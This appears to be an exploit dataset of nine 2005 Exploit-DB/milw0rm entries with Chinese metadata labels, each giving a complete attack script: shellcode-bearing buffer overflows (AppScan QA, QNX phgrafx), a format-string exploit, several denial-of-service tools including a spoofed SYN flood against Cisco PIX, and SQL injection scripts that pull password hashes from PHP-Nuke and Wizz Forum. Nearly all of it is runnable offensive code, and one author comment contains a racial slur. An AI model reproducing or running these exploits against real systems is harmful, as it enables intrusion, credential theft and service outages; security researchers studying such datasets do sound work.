QLWD/code_shield huggingface dataset:
标题: Watchfire AppScan QA 5.0.x - Remote Code Execution EDB-ID: 1374 CVE: 2005-4270 类型: REMOTE 平台: WINDOWS 发布日期: 2005-12-15 漏洞利用脚本: # Watchfire AppScan QA PoC - Coded by Mariano Nuñez Di Croce @ CYBSEC
# 
# How to use:
# 1. Run this script to setup the fake web server.
# 2. Scan the server with AppScan QA, either in Interactive or Manual mode.
# 3. If you get an "You are vulnerable!" popup, you should upgrade inmediatly.
#
# PoC developed for Windows 2000 Server SP4.
#

#!/usr/bin/perl -w

use IO::Socket::INET;

# Dissable buffering
$| = 1;

# Define 200 OK Responses
my $res200 = "HTTP/1.1 200 OK\r\nHost: www.test.com\r\nDate: Thu, 01 Nov 2005 14:38:20 GMT\r\nServer: Apache\r\nContent-Length: 26\r\nKeep-Alive: timeout=15, max=100\r\nConnection: Close\r\nContent-Type: text/html; charset=ISO-8859-1\r\n\r\n<a href='/admin'>admin</a>";

# Define the 401 Auth Required Header and Tail
my $res401Head = "HTTP/1.1 401 Authorization Required\r\nHost: www.test.com\r\nDate: Thu, 01 Nov 2005 14:43:53 GMT\r\nServer: Apache\r\nWWW-Authenticate: Basic realm=\"";

my $res401Tail = "Content-Length: 401\r\nKeep-Alive: timeout=15, max=100\r\nConnection: Close\r\nContent-Type: text/html; charset=iso-8859-1\r\n\r\n<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML2.0//EN\">\r\n<html><head>\r\n<title>401 Authorization Required</title>\r\n</head><body>\r\n<h1>Authorization Required</h1>\r\n<p>This server could not verify that you\r\nare authorized to access the document\r\nrequested.  Either you supplied the wrong\r\ncredentials (e.g., bad password), or your\r\nbrowser doesn't understand how to supply\r\nthe credentials required.</p>\r\n</body></html>";

# Ret - call ebx - in user32.dll (Windows 2000 Server SP4)
my $ret = pack("l", 0x77e11627);

my $scode = "\x31\xd2\xeb\x35\x59\x88\x51\x06\xbb\x21\x02\x59\x7c\x51\xff\xd3\xeb\x33\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb\xab\x0c\x59\x7c\xff\xd3\xeb\x33\x59\x31\xd2\x88\x51\x13\x52\x51\x51\x52\xff\xd0\x31\xd2\x52\xb8\xbe\x69\x59\x7c\xff\xd0\xe8\xc6\xff\xff\xff\x75\x73\x65\x72\x33\x32\x4e\xe8\xc8\xff\xff\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x41\x4e\xe8\xc8\xff\xff\xff\x59\x6f\x75\x20\x61\x72\x65\x20\x76\x75\x6c\x6e\x65\x72\x61\x62\x6c\x65\x21\x4e";

my $resExploit = $res401Head . "\x41"x347 . "\xeb\x06AA". $ret . $scode . "\"\r\n" . $res401Tail;

# Initialization of Fake WebServer
my $srv = IO::Socket::INET->new(LocalPort => 80,
          Reuse => 1, 
    Listen => 1 ) || die "Could not create socket: $!\n";

print "Waiting for connections...\n";
       
while ($cli = $srv->accept()) {
 printf "Request from %s\n", $cli->peerhost; 
 while (<$cli>) {
  if (s/(admin)/$1/) {
   # If Request is for "admin", launch the exploit 
   printf "Request for protected resource detected...launching exploit\n";  
   print $cli $resExploit;
  }
  else {
   # Else send a normal response 
   print $cli $res200; 
  }
 }
 close($cli);
}
close($srv);


# milw0rm.com [2005-12-15] URL: https://www.exploit-db.com/exploits/1374
标题: Macromedia Flash Media Server 2 - Remote Denial of Service EDB-ID: 1371 CVE: 2005-4216 类型: DOS 平台: WINDOWS 发布日期: 2005-12-14 漏洞利用脚本: /*****************************************************************

Macromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan

Application: Macromedia Flash Media Server
http://www.macromedia.com/software/flashmediaserver/
Vendor: Macromedia

Discovered by:  dr_insane
Exploit Coded by: Kozan
Credits to ATmaCA,  dr_insane
Web: www.spyinstructors.com
Mail: kozan@spyinstructors.com

*****************************************************************/

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>

#pragma comment(lib,"ws2_32.lib")

int nDefaultPort = 1111;

char SingleDoSChar[] = "\x41";

int main(int argc, char *argv[])
{
       fprintf(stdout, "\n\nMacromedia Flash Media Server 2 Remote D.o.S Exploit by Kozan\n");
       fprintf(stdout, "Bug Discovered by:  dr_insane\n");
       fprintf(stdout, "Exploit Coded by: Kozan\n");
       fprintf(stdout, "Credits to ATmaCA,  dr_insane\n");
       fprintf(stdout, "www.spyinstructors.com - kozan@spyinstructors.com\n\n");

       if(argc<2)
       {
               fprintf(stderr, "Usage: %s [Target IP]\n\n", argv[0]);
               return -1;
       }
       WSADATA wsaData;
       SOCKET sock;

       if( WSAStartup(0x0101,&wsaData) < 0 )
       {
               fprintf(stderr, "Winsock error!\n");
               return -1;
       }

       sock = socket(AF_INET,SOCK_STREAM,0);
       if( sock == -1 )
       {
               fprintf(stderr, "Socket error!\n");
               return -1;
       }

       struct sockaddr_in addr;

       addr.sin_family = AF_INET;
       addr.sin_port = htons(nDefaultPort);
       addr.sin_addr.s_addr = inet_addr(argv[1]);
       memset(&(addr.sin_zero), '\0', 8);

       fprintf(stdout, "Please wait while connecting to server...\n");

       if( connect( sock, (struct sockaddr*)&addr, sizeof(struct sockaddr) ) == -1 )
       {
               fprintf(stderr, "Connection failed!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Please wait while sending single DoS char...\n");

       if( send(sock,SingleDoSChar,lstrlen(SingleDoSChar),0) == -1 )
       {
               fprintf(stderr, "DoS char could not sent!\n");
               closesocket(sock);
               return -1;
       }

       fprintf(stdout, "Operation completed...\n");
       closesocket(sock);
       WSACleanup();

       return 0;
}

// milw0rm.com [2005-12-14] URL: https://www.exploit-db.com/exploits/1371
标题: sobexsrv 1.0.0_pre3 Bluetooth - 'syslog()' Remote Format String EDB-ID: 1355 CVE: 2005-3995 类型: REMOTE 平台: LINUX 发布日期: 2005-12-03 漏洞利用脚本: #!/usr/bin/perl
# 
# trifinite.group Bluetooth sobexsrv remote syslog() exploit
# code by kf_lists[at]digitalmunition[dot]com
#
# http://www.digitalmunition.com
#
# Shouts to my nigga Chung and the Donut Shop... keep fighting that SARS dude!
# Big ups to d4yj4y beeeeeeeeeeeeeotch! 
#
$retloc = 0x8053418;   # Due to unicode the filename is NOT usable. Must use file contents. 

# R_386_JUMP_SLOT exit()
$addy  = "\x5a\x19\x05\x08";
$addy2 = "\x58\x19\x05\x08";

$lo = ($retloc >> 0) & 0xffff;
$hi = ($retloc >> 16) & 0xffff;

$hi = $hi - 0x38;
$lo = (0x10000 + $lo) - $hi - 0x38;

#print "hi: $hi\n";
#print "lo: $lo\n";

$string = "./ussp-push 00:0B:0D:63:0B:CC\@1 /tmp/shellcode " . "$addy$addy2%$hi.d%27\\\$hn%$lo.d%28\\\$hn" . "\x41" x 200;
#print $string . "\n";

$sc = "\x90" x 31 . # Metasploit /usr/bin/id shellcode 
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49".
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36".
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34".
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41".
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4c\x46\x4b\x50\x4a\x35".
"\x49\x39\x44\x55\x48\x46\x4a\x46\x4d\x52\x43\x36\x49\x58\x47\x4e".
"\x4a\x56\x4f\x52\x43\x57\x4a\x46\x42\x50\x4a\x56\x4f\x32\x44\x56".
"\x49\x46\x50\x56\x49\x58\x43\x4e\x44\x45\x4a\x4e\x4e\x30\x42\x30".
"\x42\x30\x42\x50\x4f\x32\x45\x47\x43\x57\x44\x47\x4f\x32\x44\x56".
"\x49\x36\x50\x46\x4f\x52\x49\x56\x46\x36\x42\x50\x47\x45\x43\x35".
"\x49\x58\x41\x4e\x4d\x4c\x42\x38\x5a";

open(F, "> /tmp/shellcode") or die "can't open file";
print F "$sc\n";
close(F);

system($string);

# milw0rm.com [2005-12-03] URL: https://www.exploit-db.com/exploits/1355
标题: WinEggDropShell 1.7 - Multiple Remote Stack Overflows (PoC) EDB-ID: 1353 CVE: 2005-3992 类型: DOS 平台: WINDOWS 发布日期: 2005-12-02 漏洞利用脚本: # WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC
# HTTP Server "GET"  && FTP Server "USER" "PASS" command
# Bug Discoverd and coded by Sowhat
# Greetingz to killer,baozi,Darkeagle,all 0x557 and XFocus guys....;)
# http://secway.org
# 2005-10-11

# Affected:
# WinEggDropShell Eterntiy version
# Other version may be vulnerable toooooo

import sys
import string
import socket

if (len(sys.argv) != 4):
 
 print "##########################################################################"
 print "#      WinEggDropShell Multipe PreAuth Remote Stack Overflow PoC         #"
 print "#          This Poc will BOD the vulnerable target                       #"
 print "#          Bug Discoverd and coded  by Sowhat                            #"
 print "#                 http://secway.org                                      #"
 print "##########################################################################"
 print "\nUsage: " + sys.argv[0] + "HTTP/FTP" + " TargetIP" + " Port\n"
 print "Example: \n" + sys.argv[0] + " HTTP" + " 1.1.1.1" + " 80" 
 print sys.argv[0] + " FTP" + " 1.1.1.1" + " 21" 
 sys.exit(0)

host = sys.argv[2]
port = string.atoi(sys.argv[3])

if ((sys.argv[1] == "FTP") | (sys.argv[1] == "ftp")):

  request = "USER " + 'A'*512 + "\r"

if ((sys.argv[1] == "HTTP") | (sys.argv[1] == "http")):

  request = "GET /" + 'A'*512 + " HTTP/1.1 \r\n" 

exp = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
exp.connect((host,port))
exp.send(request)

# milw0rm.com [2005-12-02] URL: https://www.exploit-db.com/exploits/1353
标题: QNX RTOS 6.3.0 (x86) - 'phgrafx' Local Buffer Overflow EDB-ID: 1347 CVE: 2005-3928 类型: LOCAL 平台: QNX 发布日期: 2005-11-30 漏洞利用脚本: /*
 * minervini@neuralnoise.com (c) 2005, all rights reserved.
 * sample exploit for phgrafx on QNX 6.3.0 x86
 *
 * tested on: QNX qnx 6.3.0 2004/04/29-21:23:19UTC x86pc x86
 */

#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <unistd.h>
#include <err.h>

#ifndef _PATH
# define _PATH ("/usr/photon/bin/phgrafx")
#endif

#ifndef _RET_INIT
# define _RET_INIT (864)
#endif

/* thanks to my friend pi3 that suggested me to call a libc
 * function to make the shellcode way shorter than it was */

char scode[] = "\x31\xc0"      // xor    %eax,%eax
 "\x50"                        // push   %eax
 "\x68\x2f\x2f\x73\x68"        // push   $0x68732f2f
 "\x68\x2f\x62\x69\x6e"        // push   $0x6e69622f
 "\x54"                        // push   %esp
 "\xbb\xEF\xBE\xAD\xDE"        // mov    $0xDEADBEEF,%ebx
 "\xff\xd3";                   // call   *%ebx

unsigned long get_sp (void) {
  __asm__ ("movl %esp, %eax");
}

int main (int argc, char **argv) {

  int i, slen = strlen (scode), offset = 0;
  long ptr, *lptr, addr;
  char *buf;
  void *handle;

  handle = dlopen (NULL, RTLD_LAZY);
  addr = (long) dlsym (handle, "system");

  for (i = 0; i < 4; i++) {
     char temp = (*((char *) &addr + i) & 0xff);
     if (temp == 0x00 || temp == 0x09 || temp == 0x0a) {
        puts
          ("currently system()'s address contains bytes like 0x00, 0x09 or 0x0a, so it probably won't work since"
           " the application seems to truncate those bytes. BTW you can rely on functions like exec*(), spawn*()"
           " or MsgSend*() to get this working.\n"
           "more at http://www.qnx.org/developers/docs/momentics621_docs/neutrino/lib_ref/");
        return (-1);
     }
  }

  memcpy((char *)&scode + 0xf, &addr, 4);

  if (argc > 1)
    offset = strtoul(argv[1], NULL, 0);

  if (!(buf = (char *) malloc(1032)))
    err(1, "malloc()");

  memset(buf, 0, 1032);

  for (i = 0; i < (_RET_INIT - slen); i++)
    buf[i] = 'A'; // inc %ecx

  printf("shellcode length: %d\n", slen);

  for (i = (_RET_INIT - slen); i < _RET_INIT; i++)
    buf[i] = scode[i - (_RET_INIT - slen)];

  lptr = (long *) (buf + _RET_INIT);

  printf("address: 0x%lx\n", ptr = (get_sp () - offset));

  for (i = 0; i < ((1024 - _RET_INIT) / 4); i++)
    *(lptr + i) = (int) ptr;

  execl(_PATH, "phgrafx", buf, NULL);

  return (0);
}

// milw0rm.com [2005-11-30] URL: https://www.exploit-db.com/exploits/1347
标题: Microsoft Windows Metafile - 'gdi32.dll' Denial of Service (MS05-053) EDB-ID: 1343 CVE: 2005-2124 类型: DOS 平台: WINDOWS 发布日期: 2005-11-29 漏洞利用脚本: /*
 * Author: Winny Thomas
 *    Pune, INDIA
 *
 * The crafted metafile from this code when viewed in internet explorer raises the CPU utilization 
 * to 100%. The code was tested on Windows 2000 server SP4. The issue does not occur with the 
 * hotfix for GDI (MS05-053) installed
 *
 * Disclaimer: This code is for educational/testing purposes by authosized persons on 
 * networks/systems setup for such a purpose.The author of this code shall not bear 
 * any responsibility for any damage caused by using this code.
 *
 */

#include <stdio.h>

unsigned char wmfheader[] = 
"\xd7\xcd\xc6\x9a\x00\x00\xc6\xfb\xca\x02\xaa\x02\x39\x09\xe8\x03"
"\x00\x00\x00\x00\x66\xa6"
"\x01\x00"
"\x09\x00"
"\x00\x03"
"\xff\xff\xff\xff" //Metafile file size
"\x04\x00"
"\xff\xff\xff\xff" //Largest record size
"\x00\x00";

unsigned char MetafileRECORD[] = 
"\x05\x00\x00\x00\x0b\x02\x39\x09\xc6\xfb\x08\x00\x00\x00\xfa\x02"
"\x05\x00\x00\x00\x00\x00\xff\xff\xff\x00\x04\x00\x00\x00\x2d\x01"
"\x01\x00\x04\x00\x00\x00\x06\x01\x01\x00\x04\x00\x00\x00\x2d\x01"
"\x02\x00\x07\x00\x00\x00\xfc\x02\x00\x00\xff\xff\xff\x00\x00\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\x2d\x01\x02\x00"
"\x04\x00\x00\x00\x2d\x01\x03\x00\x04\x00\x00\x00\xf0\x01\x00\x00"
"\x07\x00\x00\x00\xfc\x02\x00\x00\xfa\x94\x93\x00\x00\x00\x04\x00"
"\x00\x00\x2d\x01\x00\x00\x04\x00\x00\x00\x2d\x01\x01\x00\x04\x00"
"\x00\x00\x06\x01\x01\x00\x14\x00\x00\x00\x24\x03\x08\x00\xc6\xfb"
"\x9b\x03\xbc\xfe\x9b\x03\x0f\x01\x1a\x07\xa5\x02\x1a\x07\xf4\x00"
"\x39\x09\xd5\xfc\x36\x07\x86\xfe\x36\x07\xc6\xfb\x9b\x03";

unsigned char wmfeof[] = 
"\x00\x00\x00\x00";

int main(int argc, char *argv[])
{
 FILE *fp;
 char wmfbuf[1024];
 int metafilesize, metafilesizeW, i, j;
 
 metafilesize = sizeof (wmfheader) + sizeof (MetafileRECORD) + sizeof(wmfeof) -3;
 metafilesizeW = metafilesize/2;
 memcpy((unsigned long *)&wmfheader[28], &metafilesizeW, 4);

 printf("[*] Adding Metafile header\n");
 for (i = 0; i < sizeof(wmfheader) -1; i++) {
  (unsigned char)wmfbuf[i] = (unsigned char)wmfheader[i];
 }
   
 printf("[*] Adding Metafile records\n");
 for (j = i, i = 0; i < sizeof(MetafileRECORD) -1; i++, j++) {
  wmfbuf[j] = MetafileRECORD[i];
 }
 
 printf("[*] Adding EOF record\n");
 for (i = 0; i < sizeof(wmfeof) -1; i++, j++) {
  wmfbuf[j] = wmfeof[i];
 }

 printf("[*] Creating Metafile (MS053.wmf)\n");
 fp = fopen("MS053.wmf", "wb");
 fwrite(wmfbuf, 1, metafilesize, fp);
 fclose(fp);
}

// milw0rm.com [2005-11-29] URL: https://www.exploit-db.com/exploits/1343
标题: freeFTPd 1.0.10 - 'PORT' Denial of Service EDB-ID: 1339 CVE: 2005-3812 类型: DOS 平台: WINDOWS 发布日期: 2005-11-24 漏洞利用脚本: // freeFTPd Denial of Service Attack
// Tested on a Win XP Sp1 Box


#include "stdio.h"
#include "winsock2.h"
#pragma comment (lib,"ws2_32")


#define PORT 21
#define USER "root"
#define PASS "root"
#define L    "--------------------------------------------------"
#define HL   "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

   WSADATA wsa;
   SOCKET s_target;
   struct sockaddr_in addr;
   WORD wsVersion;
   int err=0;

   if(argc<2)
   {
       printf("%s\n",L);
       printf("%s\n",HL);
       printf("%s\n",L);
       printf("Usage: %s <www.target.com>\n",argv[0]);
       exit(0);
   }

   printf("%s\n",L);
   printf("%s\n",HL);
   printf("%s\n",L);


   if(WSAStartup(wsVersion=MAKEWORD(2,2),&wsa))
   {
       printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
       exit(1);
   }



   s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
   if(s_target==INVALID_SOCKET)
   {
       printf("Error socket() Error Code: %d\n",WSAGetLastError());
       exit(2);
   }


   addr.sin_family = AF_INET;
   addr.sin_port = htons(PORT);
   addr.sin_addr.s_addr= resolv_host(argv[1]);

   if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
   {
       printf("Error connect() Error Code: %d\n",WSAGetLastError());
       exit(3);
   }

   int recvsize=0;
   char recvbuffer[400];
   char sendbuffer[400];

   //recv banner
   recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
   recvbuffer[recvsize]='\0';
   //send user
   strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
   strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
   strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

   send(s_target,sendbuffer,strlen(sendbuffer),0);

   //recv user stuff
   recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
   recvbuffer[recvsize]='\0';

   strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
   strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
   strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

   //send pass
   send(s_target,sendbuffer,strlen(sendbuffer),0);

   //recv pass stuff
   recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
   recvbuffer[recvsize]='\0';

   strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
   strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
   strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
   send(s_target,sendbuffer,strlen(sendbuffer),0);


   closesocket(s_target);
   WSACleanup();



   return 0;
}


ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
{
 th=gethostbyname(host);
 if(!th)
 {
   printf("Check if %s is up \n",host);
   exit(0);
 }

 uhost=*(unsigned long*)th->h_addr;

}



return uhost;


}

// milw0rm.com [2005-11-24] URL: https://www.exploit-db.com/exploits/1339
标题: PHP-Nuke 7.8 Search Module - SQL Injection EDB-ID: 1326 CVE: 2005-3792 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-16 漏洞利用脚本: #!/usr/bin/perl -w
use IO::Socket;

if (@ARGV < 2)
{
print "*---------------------------------------*\n";
print "* EXPLOIT for PHPNuke <=7.8 *\n";
print "*---------------------------------------*\n\n";
print " Usage : \n";
print " PHPNuke[1] HOST /[path_phpnuke] \n\n";
print " HOST - Host where is phpnuke example: localhost \n\n";
print " Example :\n\n";
print " PHPNuke[1] www.victim.com /phpnuke/html/ \n\n";
exit();
}

$HOST = $ARGV[0];
$phpnuke_path = $ARGV[1];

print "\n";
print "Host : $HOST\n";
print "phpnuke_path : $phpnuke_path\n";
print "\n";
$OK = 0;
$modules = "modules.php";
$query = "name=Search&query=s%')/**/UNION/**/SELECT/**/0,pwd,0,aid,0,0,0,0,0,0/**/FROM/**/nuke_authors/*";
$length = length $query;
$GET = $phpnuke_path . $modules;
print "[*] Connecting at victim host [OK]\n";
$send = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "[*] Connect [FAILED]\n";
print "[*] Connected [OK]\n";
print "[*] Sending exploit [OK]\n\n";
print $send "POST ".$GET." HTTP/1.0\n";
print $send "Host: ".%HOST."\n";
print $send "Referer: http://".%HOST.$phpnuke_path."modules.php?name=Search \r\n";
print $send "User-Agent: Internet Explorer 6.0 [SR]\n";
print $send "Content-Type: application/x-www-form-urlencoded\n";
print $send "Content-Length: ".$length."\n\n";
print $send $query;
print $send "Cookie: lang=english\r\n\r\n";
print $send "Connection: close\n\n";

print "[*] Exploit send [OK]\n";
print "[*] Wait for reply...[OK]\n";
while ($answer = <$send>)
{
if ($answer =~ /=0"><b>([^:]*)<\/b>/ ) { 
$OK = 1;
print "[*] Success [OK]\n";
print "[*] USER: $1\n";
}
if ($answer =~ /=\"0">([^:]*)<\/a>/ ) { 
$OK = 1;
print "[*] PASSWORD: $1\n";
}
}
if ($OK == 0) { print "[*] Exploit [FAILED]\n"; }

# milw0rm.com [2005-11-16] URL: https://www.exploit-db.com/exploits/1326
标题: Cisco PIX - Spoofed TCP SYN Packets Remote Denial of Service EDB-ID: 1338 CVE: 2005-3774 类型: DOS 平台: HARDWARE 发布日期: 2005-11-23 漏洞利用脚本: # The easy way by logic logidev@gmail.com (line 2) untested /str0ke
# hping -c 1 -S -s 31337 -k -b -p 22 10.0.xx.xxx

#!/usr/bin/perl
eval ("use Getopt::Long;");die "[error] Getopt::Long perl module is not installed \n" if $@;
eval ("use Net::RawIP;");die "[error] Net::RawIP perl module is not installed \n" if $@;
eval ("use Term::ProgressBar;");
die "[error] Term::ProgressBar perl module is not installed \n" if $@;
my $VERSION = "0.1";
print "$0, $PgmName, V $VERSION \n";
GetOptions ( 
"help" =>\$usage,
"device=s" => \$device, 
"source=s" =>\$sourceip,
"dest=s"=>\$destip,
"sourcemac=s"=>\$sourcemac,
"destmac=s"=>\$destmac,
"port=n"=> \$tcpport,
);

######################## Config option ####################

my $timeout = "0,1"; # Timeout

if ($usage) {&usage;} 

if (!$device) {
$device= 'eth0'; # Network device
}

if (!$destmac) {print "Dest MAC not found \n"; &usage;}
if (!$sourceip) {print "Source IP not found \n"; &usage;}
if (!$destip) {print "Dest IP not found \n"; &usage;}
if (!$tcpport) {print "TCP port not found \n"; &usage;}

my $syn="1"; # TCP SYN SET
my $tcpdata = "TEST"; # TCP payload
my $count=0;

######################################################

#Initialize Progres Bar 
my $progress = Term::ProgressBar->new(32768);
$progress->minor(0);
$packet = new Net::RawIP;
$packet-> ethnew($device);


if (!$sourcemac) {
$packet -> ethset( dest => $destmac);
}else { 
$packet -> ethset( source =>$sourcemac, dest => $destmac);
}



for ($count=0; $count< 65537 ; $count++) {

$packet->set({

ip => {
saddr => $sourceip,
daddr => $destip 
},

tcp => {
check => 0x0010 , # TCP Packet Checksum 0 for auto correct
source => $count,
dest => $tcpport,
syn => $syn,
data => $tcpdata
}});
$packet->ethsend($timeout);
#$packet->send($timeout);

$progress->update($_);
$count++;
}

sub usage {
print <<EOF ;
This program was originally written in the due course of writing
"Hacking Exposed Cisco Networks: Cisco Security Secrets and Solutions" book.
Tool author - Janis Vizulis, Arhont Ltd. (License GPL-2 ) Please send bugs 
and comments to info@arhont.com 

usage: $0 [ --device=interface ] [--source=IP] [--dest=IP] [--sourcemac=MAC]
[--destmac=MAC] [--port=n]

Options:

--help This message
--device Network interface (defaut set eth0)
--source Victim source IP
--dest Victim destination IP
--sourcemac Victim source MAC
--destmac MAC Address of the gateway
--port TCP port 

Example: ./pixdos.pl --device eth0 --source 192.168.44.10 --dest 192.168.55.111 \
--sourcemac 00:90:27:99:11:b6 --destmac 00:60:27:99:11:b6 --port 22 
EOF

exit shift;
}

# milw0rm.com [2005-11-23] URL: https://www.exploit-db.com/exploits/1338
标题: Wizz Forum 1.20 - 'TopicID' SQL Injection EDB-ID: 1322 CVE: 2005-3682 类型: WEBAPPS 平台: PHP 发布日期: 2005-11-14 漏洞利用脚本: #!/bin/env perl
#//-----------------------------------------------------------#
#//        Wizz Forum SQL Injection Exploit .. By HACKERS PAL
#//                   Greets For Devil-00 - Abducter - Almaster
#//                          http://WwW.SoQoR.NeT
#//-----------------------------------------------------------#

use LWP::Simple;

print "\n#####################################################";
print "\n#        Wizz Forum Exploit By : HACKERS PAL        #";
print "\n#               Http://WwW.SoQoR.NeT                #";

if(!$ARGV[0] or !$ARGV[1]) {
print "\n# -- Usage:                                         #";
print "\n# -- perl $0 [Full-Path] [User ID]              #";
print "\n# -- Example:                                       #";
print "\n# -- perl $0 http://vubb.com/forum/1            #";
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";
   exit(0);
}
else
{
print "\n#     Greets To Devil-00 - Abducter - almastar      #";
print "\n#####################################################";

       $web=$ARGV[0];
       $id=$ARGV[1];
$url = "ForumTopicDetails.php?TopicID=-10%20union%20select%20userid,password,password,userid,joindate,4444444,4444444%20from%20ForumUser%20where%20user_index=$id";
           $site="$web/$url";
$page = get($site) || die "[-] Unable to retrieve: $!";
print "\n[+] Connected to: $ARGV[0]\n";

print "[+] User ID is : $id ";
$page =~ m/<td width='100%' colspan='3'><font face='Arial' size='2'>(.*?)<\/font><\/td>/ && print "\n[+] User Name is: $1\n";
print "\n[-] Unable to retrieve User Name\n" if(!$1);
$page =~ m/<font face='Arial' size='4'>Topic: (.*?)<\/font>/ && print "[+] MD5 hash of password is: $1\n";
print "[-] Unable to retrieve hash of password\n" if(!$1);

}

# Finished

# milw0rm.com [2005-11-14] URL: https://www.exploit-db.com/exploits/1322